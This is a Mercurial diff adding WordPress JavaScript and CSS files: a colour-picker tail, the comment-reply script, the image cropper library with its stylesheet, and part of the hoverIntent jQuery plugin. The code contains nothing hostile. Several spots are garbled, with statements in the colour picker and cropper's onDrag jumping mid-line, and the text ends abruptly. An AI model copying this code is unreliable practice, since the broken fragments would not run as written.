0EE00","#00DD00","#00CC00","#00BB00","#00AA00","#009900","#008800","#007700","#006600","#005500","#004400","#003300","#002200","#001100","#000000","#000000","#000000","#000000","#110011","#220022","#330033","#440044","#550055","#660066","#770077","#880088","#990099","#AA00AA","#BB00BB","#CC00CC","#DD00DD","#EE00EE","#FF00FF","#FF00FF","#FF00FF","#FF00FF","#FF11FF","#FF22FF","#FF33FF","#FF44FF","#FF55FF","#FF66FF","#FF77FF","#FF88FF","#FF99FF","#FFAAFF","#FFBBFF","#FFCCFF","#FFDDFF","#FFEEFF","#FFFFFF","#4180B6","#69AEE7","#FFFFFF","#EEEEFF","#DDDDFF","#CCCCFF","#BBBBFF","#AAAAFF","#9999FF","#8888FF","#7777FF","#6666FF","#5555FF","#4444FF","#3333FF","#2222FF","#1111FF","#0000FF","#0000FF","#0000FF","#0000FF","#0000EE","#0000DD","#0000CC","#0000BB","#0000AA","#000099","#000088","#000077","#000066","#000055","#000044","#000033","#000022","#000011","#000000","#000000","#000000","#000000","#111100","#222200","#333300","#444400","#555500","#666600","#777700","#888800","#999900","#AAAA00","#BBBB00","#CCCC00","#DDDD00","#EEEE00","#FFFF00","#FFFF00","#FFFF00","#FFFF00","#FFFF11","#FFFF22","#FFFF33","#FFFF44","#FFFF55","#FFFF66","#FFFF77","#FFFF88","#FFFF99","#FFFFAA","#FFFFBB","#FFFFCC","#FFFFDD","#FFFFEE","#FFFFFF","#4180B6","#69AEE7","#FFFFFF","#FFFFFF","#FBFBFB","#F7F7F7","#F3F3F3","#EFEFEF","#EBEBEB","#E7E7E7","#E3E3E3","#DFDFDF","#DBDBDB","#D7D7D7","#D3D3D3","#CFCFCF","#CBCBCB","#C7C7C7","#C3C3C3","#BFBFBF","#BBBBBB","#B7B7B7","#B3B3B3","#AFAFAF","#ABABAB","#A7A7A7","#A3A3A3","#9F9F9F","#9B9B9B","#979797","#939393","#8F8F8F","#8B8B8B","#878787","#838383","#7F7F7F","#7B7B7B","#777777","#737373","#6F6F6F","#6B6B6B","#676767","#636363","#5F5F5F","#5B5B5B","#575757","#535353","#4F4F4F","#4B4B4B","#474747","#434343","#3F3F3F","#3B3B3B","#373737","#333333","#2F2F2F","#2B2B2B","#272727","#232323","#1F1F1F","#1B1B1B","#171717","#131313","#0F0F0F","#0B0B0B","#070707","#030303","#000000","#000000","#000000","#000000","#000000");var n=a.length;var c=72;var k="";var j=(g)?"window.opener.":"";if(g){k+="Select Color";k+=""}k+="";var l=(document.getElementById||document.all)?true:false;for(var h=0;h"}if(l){var f='onMouseOver="'+j+"ColorPicker_highlightColor('"+a[h]+"',window.document)\""}else{f=""}k+='";if(((h+1)>=n)||(((h+1)%c)==0)){k+=""}}if(document.getElementById){var d=Math.floor(c/2);var b=c=d;k+=""}k+="
     
     #FFFFFF
    ";if(g){k+="
    "}m.populate(k+"\n");m.offsetY=25;m.autoHide();return m}; \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/js/comment-reply.dev.js --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-includes/js/comment-reply.dev.js Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,48 @@ + +addComment = { + moveForm : function(commId, parentId, respondId, postId) { + var t = this, div, comm = t.I(commId), respond = t.I(respondId), cancel = t.I('cancel-comment-reply-link'), parent = t.I('comment_parent'), post = t.I('comment_post_ID'); + + if ( ! comm || ! respond || ! cancel || ! parent ) + return; + + t.respondId = respondId; + postId = postId || false; + + if ( ! t.I('wp-temp-form-div') ) { + div = document.createElement('div'); + div.id = 'wp-temp-form-div'; + div.style.display = 'none'; + respond.parentNode.insertBefore(div, respond); + } + + comm.parentNode.insertBefore(respond, comm.nextSibling); + if ( post && postId ) + post.value = postId; + parent.value = parentId; + cancel.style.display = ''; + + cancel.onclick = function() { + var t = addComment, temp = t.I('wp-temp-form-div'), respond = t.I(t.respondId); + + if ( ! temp || ! respond ) + return; + + t.I('comment_parent').value = '0'; + temp.parentNode.insertBefore(respond, temp); + temp.parentNode.removeChild(temp); + this.style.display = 'none'; + this.onclick = null; + return false; + } + + try { t.I('comment').focus(); } + catch(e) {} + + return false; + }, + + I : function(e) { + return document.getElementById(e); + } +} diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/js/comment-reply.js --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-includes/js/comment-reply.js Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,1 @@ +addComment={moveForm:function(d,f,i,c){var m=this,a,h=m.I(d),b=m.I(i),l=m.I("cancel-comment-reply-link"),j=m.I("comment_parent"),k=m.I("comment_post_ID");if(!h||!b||!l||!j){return}m.respondId=i;c=c||false;if(!m.I("wp-temp-form-div")){a=document.createElement("div");a.id="wp-temp-form-div";a.style.display="none";b.parentNode.insertBefore(a,b)}h.parentNode.insertBefore(b,h.nextSibling);if(k&&c){k.value=c}j.value=f;l.style.display="";l.onclick=function(){var n=addComment,e=n.I("wp-temp-form-div"),o=n.I(n.respondId);if(!e||!o){return}n.I("comment_parent").value="0";e.parentNode.insertBefore(o,e);e.parentNode.removeChild(e);this.style.display="none";this.onclick=null;return false};try{m.I("comment").focus()}catch(g){}return false},I:function(a){return document.getElementById(a)}}; \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/js/crop/cropper.css --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-includes/js/crop/cropper.css Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,165 @@ +.imgCrop_wrap { + /* width: 500px; @done_in_js */ + /* height: 375px; @done_in_js */ + position: relative; + cursor: crosshair; +} + +/* an extra classname is applied for Opera < 9.0 to fix it's lack of opacity support */ +.imgCrop_wrap.opera8 .imgCrop_overlay, +.imgCrop_wrap.opera8 .imgCrop_clickArea { + background-color: transparent; +} + +/* fix for IE displaying all boxes at line-height by default, although they are still 1 pixel high until we combine them with the pointless span */ +.imgCrop_wrap, +.imgCrop_wrap * { + font-size: 0; +} + +.imgCrop_overlay { + background-color: #000; + opacity: 0.5; + filter:alpha(opacity=50); + position: absolute; + width: 100%; + height: 100%; +} + +.imgCrop_selArea { + position: absolute; + /* @done_in_js + top: 20px; + left: 20px; + width: 200px; + height: 200px; + background: transparent url(castle.jpg) no-repeat -210px -110px; + */ + cursor: move; + z-index: 2; +} + +/* clickArea is all a fix for IE 5.5 & 6 to allow the user to click on the given area */ +.imgCrop_clickArea { + width: 100%; + height: 100%; + background-color: #FFF; + opacity: 0.01; + filter:alpha(opacity=01); +} + +.imgCrop_marqueeHoriz { + position: absolute; + width: 100%; + height: 1px; + background: transparent url(marqueeHoriz.gif) repeat-x 0 0; + z-index: 3; +} + +.imgCrop_marqueeVert { + position: absolute; + height: 100%; + width: 1px; + background: transparent url(marqueeVert.gif) repeat-y 0 0; + z-index: 3; +} + +.imgCrop_marqueeNorth { top: 0; left: 0; } +.imgCrop_marqueeEast { top: 0; right: 0; } +.imgCrop_marqueeSouth { bottom: 0px; left: 0; } +.imgCrop_marqueeWest { top: 0; left: 0; } + + +.imgCrop_handle { + position: absolute; + border: 1px solid #333; + width: 6px; + height: 6px; + background: #FFF; + opacity: 0.5; + filter:alpha(opacity=50); + z-index: 4; +} + +/* fix IE 5 box model */ +* html .imgCrop_handle { + width: 8px; + height: 8px; + wid\th: 6px; + hei\ght: 6px; +} + +.imgCrop_handleN { + top: -3px; + left: 0; + /* margin-left: 49%; @done_in_js */ + cursor: n-resize; +} + +.imgCrop_handleNE { + top: -3px; + right: -3px; + cursor: ne-resize; +} + +.imgCrop_handleE { + top: 0; + right: -3px; + /* margin-top: 49%; @done_in_js */ + cursor: e-resize; +} + +.imgCrop_handleSE { + right: -3px; + bottom: -3px; + cursor: se-resize; +} + +.imgCrop_handleS { + right: 0; + bottom: -3px; + /* margin-right: 49%; @done_in_js */ + cursor: s-resize; +} + +.imgCrop_handleSW { + left: -3px; + bottom: -3px; + cursor: sw-resize; +} + +.imgCrop_handleW { + top: 0; + left: -3px; + /* margin-top: 49%; @done_in_js */ + cursor: e-resize; +} + +.imgCrop_handleNW { + top: -3px; + left: -3px; + cursor: nw-resize; +} + +/** + * Create an area to click & drag around on as the default browser behaviour is to let you drag the image + */ +.imgCrop_dragArea { + width: 100%; + height: 100%; + z-index: 200; + position: absolute; + top: 0; + left: 0; +} + +.imgCrop_previewWrap { + /* width: 200px; @done_in_js */ + /* height: 200px; @done_in_js */ + overflow: hidden; + position: relative; +} + +.imgCrop_previewWrap img { + position: absolute; +} \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/js/crop/cropper.js --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-includes/js/crop/cropper.js Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,516 @@ +/** + * Copyright (c) 2006, David Spurr (http://www.defusion.org.uk/) + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: + * + * * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. + * * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. + * * Neither the name of the David Spurr nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + * + * http://www.opensource.org/licenses/bsd-license.php + * + * See scriptaculous.js for full scriptaculous licence + */ + +var CropDraggable=Class.create(); +Object.extend(Object.extend(CropDraggable.prototype,Draggable.prototype),{initialize:function(_1){ +this.options=Object.extend({drawMethod:function(){ +}},arguments[1]||{}); +this.element=$(_1); +this.handle=this.element; +this.delta=this.currentDelta(); +this.dragging=false; +this.eventMouseDown=this.initDrag.bindAsEventListener(this); +Event.observe(this.handle,"mousedown",this.eventMouseDown); +Draggables.register(this); +},draw:function(_2){ +var _3=Position.cumulativeOffset(this.element); +var d=this.currentDelta(); +_3[0]-=d[0]; +_3[1]-=d[1]; +var p=[0,1].map(function(i){ +return (_2[i]-_3[i]-this.offset[i]); +}.bind(this)); +this.options.drawMethod(p); +}}); +var Cropper={}; +Cropper.Img=Class.create(); +Cropper.Img.prototype={initialize:function(_7,_8){ +this.options=Object.extend({ratioDim:{x:0,y:0},minWidth:0,minHeight:0,displayOnInit:false,onEndCrop:Prototype.emptyFunction,captureKeys:true},_8||{}); +if(this.options.minWidth>0&&this.options.minHeight>0){ +this.options.ratioDim.x=this.options.minWidth; +this.options.ratioDim.y=this.options.minHeight; +} +this.img=$(_7); +this.clickCoords={x:0,y:0}; +this.dragging=false; +this.resizing=false; +this.isWebKit=/Konqueror|Safari|KHTML/.test(navigator.userAgent); +this.isIE=/MSIE/.test(navigator.userAgent); +this.isOpera8=/Opera\s[1-8]/.test(navigator.userAgent); +this.ratioX=0; +this.ratioY=0; +this.attached=false; +$A(document.getElementsByTagName("script")).each(function(s){ +if(s.src.match(/cropper\.js/)){ +var _a=s.src.replace(/cropper\.js(.*)?/,""); +var _b=document.createElement("link"); +_b.rel="stylesheet"; +_b.type="text/css"; +_b.href=_a+"cropper.css"; +_b.media="screen"; +document.getElementsByTagName("head")[0].appendChild(_b); +} +}); +if(this.options.ratioDim.x>0&&this.options.ratioDim.y>0){ +var _c=this.getGCD(this.options.ratioDim.x,this.options.ratioDim.y); +this.ratioX=this.options.ratioDim.x/_c; +this.ratioY=this.options.ratioDim.y/_c; +} +this.subInitialize(); +if(this.img.complete||this.isWebKit){ +this.onLoad(); +}else{ +Event.observe(this.img,"load",this.onLoad.bindAsEventListener(this)); +} +},getGCD:function(a,b){return 1; +if(b==0){ +return a; +} +return this.getGCD(b,a%b); +},onLoad:function(){ +var _f="imgCrop_"; +var _10=this.img.parentNode; +var _11=""; +if(this.isOpera8){ +_11=" opera8"; +} +this.imgWrap=Builder.node("div",{"class":_f+"wrap"+_11}); +if(this.isIE){ +this.north=Builder.node("div",{"class":_f+"overlay "+_f+"north"},[Builder.node("span")]); +this.east=Builder.node("div",{"class":_f+"overlay "+_f+"east"},[Builder.node("span")]); +this.south=Builder.node("div",{"class":_f+"overlay "+_f+"south"},[Builder.node("span")]); +this.west=Builder.node("div",{"class":_f+"overlay "+_f+"west"},[Builder.node("span")]); +var _12=[this.north,this.east,this.south,this.west]; +}else{ +this.overlay=Builder.node("div",{"class":_f+"overlay"}); +var _12=[this.overlay]; +} +this.dragArea=Builder.node("div",{"class":_f+"dragArea"},_12); +this.handleN=Builder.node("div",{"class":_f+"handle "+_f+"handleN"}); +this.handleNE=Builder.node("div",{"class":_f+"handle "+_f+"handleNE"}); +this.handleE=Builder.node("div",{"class":_f+"handle "+_f+"handleE"}); +this.handleSE=Builder.node("div",{"class":_f+"handle "+_f+"handleSE"}); +this.handleS=Builder.node("div",{"class":_f+"handle "+_f+"handleS"}); +this.handleSW=Builder.node("div",{"class":_f+"handle "+_f+"handleSW"}); +this.handleW=Builder.node("div",{"class":_f+"handle "+_f+"handleW"}); +this.handleNW=Builder.node("div",{"class":_f+"handle "+_f+"handleNW"}); +this.selArea=Builder.node("div",{"class":_f+"selArea"},[Builder.node("div",{"class":_f+"marqueeHoriz "+_f+"marqueeNorth"},[Builder.node("span")]),Builder.node("div",{"class":_f+"marqueeVert "+_f+"marqueeEast"},[Builder.node("span")]),Builder.node("div",{"class":_f+"marqueeHoriz "+_f+"marqueeSouth"},[Builder.node("span")]),Builder.node("div",{"class":_f+"marqueeVert "+_f+"marqueeWest"},[Builder.node("span")]),this.handleN,this.handleNE,this.handleE,this.handleSE,this.handleS,this.handleSW,this.handleW,this.handleNW,Builder.node("div",{"class":_f+"clickArea"})]); +Element.setStyle($(this.selArea),{backgroundColor:"transparent",backgroundRepeat:"no-repeat",backgroundPosition:"0 0"}); +this.imgWrap.appendChild(this.img); +this.imgWrap.appendChild(this.dragArea); +this.dragArea.appendChild(this.selArea); +this.dragArea.appendChild(Builder.node("div",{"class":_f+"clickArea"})); +_10.appendChild(this.imgWrap); +Event.observe(this.dragArea,"mousedown",this.startDrag.bindAsEventListener(this)); +Event.observe(document,"mousemove",this.onDrag.bindAsEventListener(this)); +Event.observe(document,"mouseup",this.endCrop.bindAsEventListener(this)); +var _13=[this.handleN,this.handleNE,this.handleE,this.handleSE,this.handleS,this.handleSW,this.handleW,this.handleNW]; +for(var i=0;i<_13.length;i++){ +Event.observe(_13[i],"mousedown",this.startResize.bindAsEventListener(this)); +} +if(this.options.captureKeys){ +Event.observe(document,"keydown",this.handleKeys.bindAsEventListener(this)); +} +new CropDraggable(this.selArea,{drawMethod:this.moveArea.bindAsEventListener(this)}); +this.setParams(); +},setParams:function(){ +this.imgW=this.img.width; +this.imgH=this.img.height; +if(!this.isIE){ +Element.setStyle($(this.overlay),{width:this.imgW+"px",height:this.imgH+"px"}); +Element.hide($(this.overlay)); +Element.setStyle($(this.selArea),{backgroundImage:"url("+this.img.src+")"}); +}else{ +Element.setStyle($(this.north),{height:0}); +Element.setStyle($(this.east),{width:0,height:0}); +Element.setStyle($(this.south),{height:0}); +Element.setStyle($(this.west),{width:0,height:0}); +} +Element.setStyle($(this.imgWrap),{"width":this.imgW+"px","height":this.imgH+"px"}); +Element.hide($(this.selArea)); +var _15=Position.positionedOffset(this.imgWrap); +this.wrapOffsets={"top":_15[1],"left":_15[0]}; +var _16={x1:0,y1:0,x2:0,y2:0}; +this.setAreaCoords(_16); +if(this.options.ratioDim.x>0&&this.options.ratioDim.y>0&&this.options.displayOnInit){ +_16.x1=Math.ceil((this.imgW-this.options.ratioDim.x)/2); +_16.y1=Math.ceil((this.imgH-this.options.ratioDim.y)/2); +_16.x2=_16.x1+this.options.ratioDim.x; +_16.y2=_16.y1+this.options.ratioDim.y; +Element.show(this.selArea); +this.drawArea(); +this.endCrop(); +} +this.attached=true; +},remove:function(){ +this.attached=false; +this.imgWrap.parentNode.insertBefore(this.img,this.imgWrap); +this.imgWrap.parentNode.removeChild(this.imgWrap); +Event.stopObserving(this.dragArea,"mousedown",this.startDrag.bindAsEventListener(this)); +Event.stopObserving(document,"mousemove",this.onDrag.bindAsEventListener(this)); +Event.stopObserving(document,"mouseup",this.endCrop.bindAsEventListener(this)); +var _17=[this.handleN,this.handleNE,this.handleE,this.handleSE,this.handleS,this.handleSW,this.handleW,this.handleNW]; +for(var i=0;i<_17.length;i++){ +Event.stopObserving(_17[i],"mousedown",this.startResize.bindAsEventListener(this)); +} +if(this.options.captureKeys){ +Event.stopObserving(document,"keydown",this.handleKeys.bindAsEventListener(this)); +} +},reset:function(){ +if(!this.attached){ +this.onLoad(); +}else{ +this.setParams(); +} +this.endCrop(); +},handleKeys:function(e){ +var dir={x:0,y:0}; +if(!this.dragging){ +switch(e.keyCode){ +case (37): +dir.x=-1; +break; +case (38): +dir.y=-1; +break; +case (39): +dir.x=1; +break; +case (40): +dir.y=1; +break; +} +if(dir.x!=0||dir.y!=0){ +if(e.shiftKey){ +dir.x*=10; +dir.y*=10; +} +this.moveArea([this.areaCoords.x1+dir.x,this.areaCoords.y1+dir.y]); +Event.stop(e); +} +} +},calcW:function(){ +return (this.areaCoords.x2-this.areaCoords.x1); +},calcH:function(){ +return (this.areaCoords.y2-this.areaCoords.y1); +},moveArea:function(_1b){ +this.setAreaCoords({x1:_1b[0],y1:_1b[1],x2:_1b[0]+this.calcW(),y2:_1b[1]+this.calcH()},true); +this.drawArea(); +},cloneCoords:function(_1c){ +return {x1:_1c.x1,y1:_1c.y1,x2:_1c.x2,y2:_1c.y2}; +},setAreaCoords:function(_1d,_1e,_1f,_20,_21){ +var _22=typeof _1e!="undefined"?_1e:false; +var _23=typeof _1f!="undefined"?_1f:false; +if(_1e){ +var _24=_1d.x2-_1d.x1; +var _25=_1d.y2-_1d.y1; +if(_1d.x1<0){ +_1d.x1=0; +_1d.x2=_24; +} +if(_1d.y1<0){ +_1d.y1=0; +_1d.y2=_25; +} +if(_1d.x2>this.imgW){ +_1d.x2=this.imgW; +_1d.x1=this.imgW-_24; +} +if(_1d.y2>this.imgH){ +_1d.y2=this.imgH; +_1d.y1=this.imgH-_25; +} +}else{ +if(_1d.x1<0){ +_1d.x1=0; +} +if(_1d.y1<0){ +_1d.y1=0; +} +if(_1d.x2>this.imgW){ +_1d.x2=this.imgW; +} +if(_1d.y2>this.imgH){ +_1d.y2=this.imgH; +} +if(typeof (_20)!="undefined"){ +if(this.ratioX>0){ +this.applyRatio(_1d,{x:this.ratioX,y:this.ratioY},_20,_21); +}else{ +if(_23){ +this.applyRatio(_1d,{x:1,y:1},_20,_21); +} +} +var _26={a1:_1d.x1,a2:_1d.x2}; +var _27={a1:_1d.y1,a2:_1d.y2}; +var _28=this.options.minWidth; +var _29=this.options.minHeight; +if((_28==0||_29==0)&&_23){ +if(_28>0){ +_29=_28; +}else{ +if(_29>0){ +_28=_29; +} +} +} +this.applyMinDimension(_26,_28,_20.x,{min:0,max:this.imgW}); +this.applyMinDimension(_27,_29,_20.y,{min:0,max:this.imgH}); +_1d={x1:_26.a1,y1:_27.a1,x2:_26.a2,y2:_27.a2}; +} +} +this.areaCoords=_1d; +},applyMinDimension:function(_2a,_2b,_2c,_2d){ +if((_2a.a2-_2a.a1)<_2b){ +if(_2c==1){ +_2a.a2=_2a.a1+_2b; +}else{ +_2a.a1=_2a.a2-_2b; +} +if(_2a.a1<_2d.min){ +_2a.a1=_2d.min; +_2a.a2=_2b; +}else{ +if(_2a.a2>_2d.max){ +_2a.a1=_2d.max-_2b; +_2a.a2=_2d.max; +} +} +} +},applyRatio:function(_2e,_2f,_30,_31){ +var _32; +if(_31=="N"||_31=="S"){ +_32=this.applyRatioToAxis({a1:_2e.y1,b1:_2e.x1,a2:_2e.y2,b2:_2e.x2},{a:_2f.y,b:_2f.x},{a:_30.y,b:_30.x},{min:0,max:this.imgW}); +_2e.x1=_32.b1; +_2e.y1=_32.a1; +_2e.x2=_32.b2; +_2e.y2=_32.a2; +}else{ +_32=this.applyRatioToAxis({a1:_2e.x1,b1:_2e.y1,a2:_2e.x2,b2:_2e.y2},{a:_2f.x,b:_2f.y},{a:_30.x,b:_30.y},{min:0,max:this.imgH}); +_2e.x1=_32.a1; +_2e.y1=_32.b1; +_2e.x2=_32.a2; +_2e.y2=_32.b2; +} +},applyRatioToAxis:function(_33,_34,_35,_36){ +var _37=Object.extend(_33,{}); +var _38=_37.a2-_37.a1; +var _3a=Math.floor(_38*_34.b/_34.a); +var _3b; +var _3c; +var _3d=null; +if(_35.b==1){ +_3b=_37.b1+_3a; +if(_3b>_36.max){ +_3b=_36.max; +_3d=_3b-_37.b1; +} +_37.b2=_3b; +}else{ +_3b=_37.b2-_3a; +if(_3b<_36.min){ +_3b=_36.min; +_3d=_3b+_37.b2; +} +_37.b1=_3b; +} +if(_3d!=null){ +_3c=Math.floor(_3d*_34.a/_34.b); +if(_35.a==1){ +_37.a2=_37.a1+_3c; +}else{ +_37.a1=_37.a1=_37.a2-_3c; +} +} +return _37; +},drawArea:function(){ +if(!this.isIE){ +Element.show($(this.overlay)); +} +var _3e=this.calcW(); +var _3f=this.calcH(); +var _40=this.areaCoords.x2; +var _41=this.areaCoords.y2; +var _42=this.selArea.style; +_42.left=this.areaCoords.x1+"px"; +_42.top=this.areaCoords.y1+"px"; +_42.width=_3e+"px"; +_42.height=_3f+"px"; +var _43=Math.ceil((_3e-6)/2)+"px"; +var _44=Math.ceil((_3f-6)/2)+"px"; +this.handleN.style.left=_43; +this.handleE.style.top=_44; +this.handleS.style.left=_43; +this.handleW.style.top=_44; +if(this.isIE){ +this.north.style.height=this.areaCoords.y1+"px"; +var _45=this.east.style; +_45.top=this.areaCoords.y1+"px"; +_45.height=_3f+"px"; +_45.left=_40+"px"; +_45.width=(this.img.width-_40)+"px"; +var _46=this.south.style; +_46.top=_41+"px"; +_46.height=(this.img.height-_41)+"px"; +var _47=this.west.style; +_47.top=this.areaCoords.y1+"px"; +_47.height=_3f+"px"; +_47.width=this.areaCoords.x1+"px"; +}else{ +_42.backgroundPosition="-"+this.areaCoords.x1+"px "+"-"+this.areaCoords.y1+"px"; +} +this.subDrawArea(); +this.forceReRender(); +},forceReRender:function(){ +if(this.isIE||this.isWebKit){ +var n=document.createTextNode(" "); +var d,el,fixEL,i; +if(this.isIE){ +fixEl=this.selArea; +}else{ +if(this.isWebKit){ +fixEl=document.getElementsByClassName("imgCrop_marqueeSouth",this.imgWrap)[0]; +d=Builder.node("div",""); +d.style.visibility="hidden"; +var _4a=["SE","S","SW"]; +for(i=0;i<_4a.length;i++){ +el=document.getElementsByClassName("imgCrop_handle"+_4a[i],this.selArea)[0]; +if(el.childNodes.length){ +el.removeChild(el.childNodes[0]); +} +el.appendChild(d); +} +} +} +fixEl.appendChild(n); +fixEl.removeChild(n); +} +},startResize:function(e){ +this.startCoords=this.cloneCoords(this.areaCoords); +this.resizing=true; +this.resizeHandle=Element.classNames(Event.element(e)).toString().replace(/([^N|NE|E|SE|S|SW|W|NW])+/,""); +Event.stop(e); +},startDrag:function(e){ +Element.show(this.selArea); +this.clickCoords=this.getCurPos(e); +this.setAreaCoords({x1:this.clickCoords.x,y1:this.clickCoords.y,x2:this.clickCoords.x,y2:this.clickCoords.y}); +this.dragging=true; +this.onDrag(e); +Event.stop(e); +},getCurPos:function(e){ +return curPos={x:Event.pointerX(e)-this.wrapOffsets.left,y:Event.pointerY(e)-this.wrapOffsets.top}; +},onDrag:function(e){ +var _4f=null; +if(this.dragging||this.resizing){ +var _50=this.getCurPos(e); +var _51=this.cloneCoords(this.areaCoords); +var _52={x:1,y:1}; +} +if(this.dragging){ +if(_50.x0&&this.options.minHeight>0){ +this.previewWrap=$(this.options.previewWrap); +this.previewImg=this.img.cloneNode(false); +this.options.displayOnInit=true; +this.hasPreviewImg=true; +Element.addClassName(this.previewWrap,"imgCrop_previewWrap"); +Element.setStyle(this.previewWrap,{width:this.options.minWidth+"px",height:this.options.minHeight+"px"}); +this.previewWrap.appendChild(this.previewImg); +} +},subDrawArea:function(){ +if(this.hasPreviewImg){ +var _58=this.calcW(); +var _59=this.calcH(); +var _5a={x:this.imgW/_58,y:this.imgH/_59}; +var _5b={x:_58/this.options.minWidth,y:_59/this.options.minHeight}; +var _5c={w:Math.ceil(this.options.minWidth*_5a.x)+"px",h:Math.ceil(this.options.minHeight*_5a.y)+"px",x:"-"+Math.ceil(this.areaCoords.x1/_5b.x)+"px",y:"-"+Math.ceil(this.areaCoords.y1/_5b.y)+"px"}; +var _5d=this.previewImg.style; +_5d.width=_5c.w; +_5d.height=_5c.h; +_5d.left=_5c.x; +_5d.top=_5c.y; +} +}}); diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/js/crop/marqueeHoriz.gif Binary file web/wp-includes/js/crop/marqueeHoriz.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/js/crop/marqueeVert.gif Binary file web/wp-includes/js/crop/marqueeVert.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/js/hoverIntent.dev.js --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-includes/js/hoverIntent.dev.js Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,128 @@ +/** +* hoverIntent is similar to jQuery's built-in "hover" function except that +* instead of firing the onMouseOver event immediately, hoverIntent checks +* to see if the user's mouse has slowed down (beneath the sensitivity +* threshold) before firing the onMouseOver event. +* +* hoverIntent r5 // 2007.03.27 // jQuery 1.1.2+ +* +* +* hoverIntent is currently available for use in all personal or commercial +* projects under both MIT and GPL licenses. This means that you can choose +* the license that best suits your project, and use it accordingly. +* +* // basic usage (just like .hover) receives onMouseOver and onMouseOut functions +* $("ul li").hoverIntent( showNav , hideNav ); +* +* // advanced usage receives configuration object only +* $("ul li").hoverIntent({ +* sensitivity: 7, // number = sensitivity threshold (must be 1 or higher) +* interval: 100, // number = milliseconds of polling interval +* over: showNav, // function = onMouseOver callback (required) +* timeout: 0, // number = milliseconds delay before onMouseOut function call +* out: hideNav // function = onMouseOut callback (required) +* }); +* +* @param f onMouseOver function || An object with configuration options +* @param g onMouseOut function || Nothing (use configuration options object) +* @author Brian Cherne +*/ +(function($) { + $.fn.hoverIntent = function(f,g) { + // default configuration options + var cfg = { + sensitivity: 7, + interval: 100, + timeout: 0 + }; + // override configuration options with user supplied object + cfg = $.extend(cfg, g ? { over: f, out: g } : f ); + + // instantiate variables + // cX, cY = current X and Y position of mouse, updated by mousemove event + // pX, pY = previous X and Y position of mouse, set by mouseover and polling interval + var cX, cY, pX, pY; + + // A private function for getting mouse position + var track = function(ev) { + cX = ev.pageX; + cY = ev.pageY; + }; + + // A private function for comparing current and previous mouse position + var compare = function(ev,ob) { + ob.hoverIntent_t = clearTimeout(ob.hoverIntent_t); + // compare mouse positions to see if they've crossed the threshold + if ( ( Math.abs(pX-cX) + Math.abs(pY-cY) ) < cfg.sensitivity ) { + $(ob).unbind("mousemove",track); + // set hoverIntent state to true (so mouseOut can be called) + ob.hoverIntent_s = 1; + return cfg.over.apply(ob,[ev]); + } else { + // set previous coordinates for next time + pX = cX; pY = cY; + // use self-calling timeout, guarantees intervals are spaced out properly (avoids JavaScript timer bugs) + ob.hoverIntent_t = setTimeout( function(){compare(ev, ob);} , cfg.interval ); + } + }; + + // A private function for delaying the mouseOut function + var delay = function(ev,ob) { + ob.hoverIntent_t = clearTimeout(ob.hoverIntent_t); + ob.hoverIntent_s = 0; + return cfg.out.apply(ob,[ev]); + }; + + // workaround for Mozilla bug: not firing mouseout/mouseleave on absolute positioned elements over textareas and input type="text" + var handleHover = function(e) { + var t = this; + + // next two lines copied from jQuery.hover, ignore children onMouseOver/onMouseOut + var p = (e.type == "mouseover" ? e.fromElement : e.toElement) || e.relatedTarget; + while ( p && p != this ) { try { p = p.parentNode; } catch(e) { p = this; } } + if ( p == this ) { + if ( $.browser.mozilla ) { + if ( e.type == "mouseout" ) { + t.mtout = setTimeout( function(){doHover(e,t);}, 30 ); + } else { + if (t.mtout) { t.mtout = clearTimeout(t.mtout); } + } + } + return; + } else { + if (t.mtout) { t.mtout = clearTimeout(t.mtout); } + doHover(e,t); + } + }; + + // A private function for handling mouse 'hovering' + var doHover = function(e,ob) { + + // copy objects to be passed into t (required for event object to be passed in IE) + var ev = jQuery.extend({},e); + + // cancel hoverIntent timer if it exists + if (ob.hoverIntent_t) { ob.hoverIntent_t = clearTimeout(ob.hoverIntent_t); } + + // else e.type == "onmouseover" + if (e.type == "mouseover") { + // set "previous" X and Y position based on initial entry point + pX = ev.pageX; pY = ev.pageY; + // update "current" X and Y position based on mousemove + $(ob).bind("mousemove",track); + // start polling interval (self-calling timeout) to compare mouse coordinates over time + if 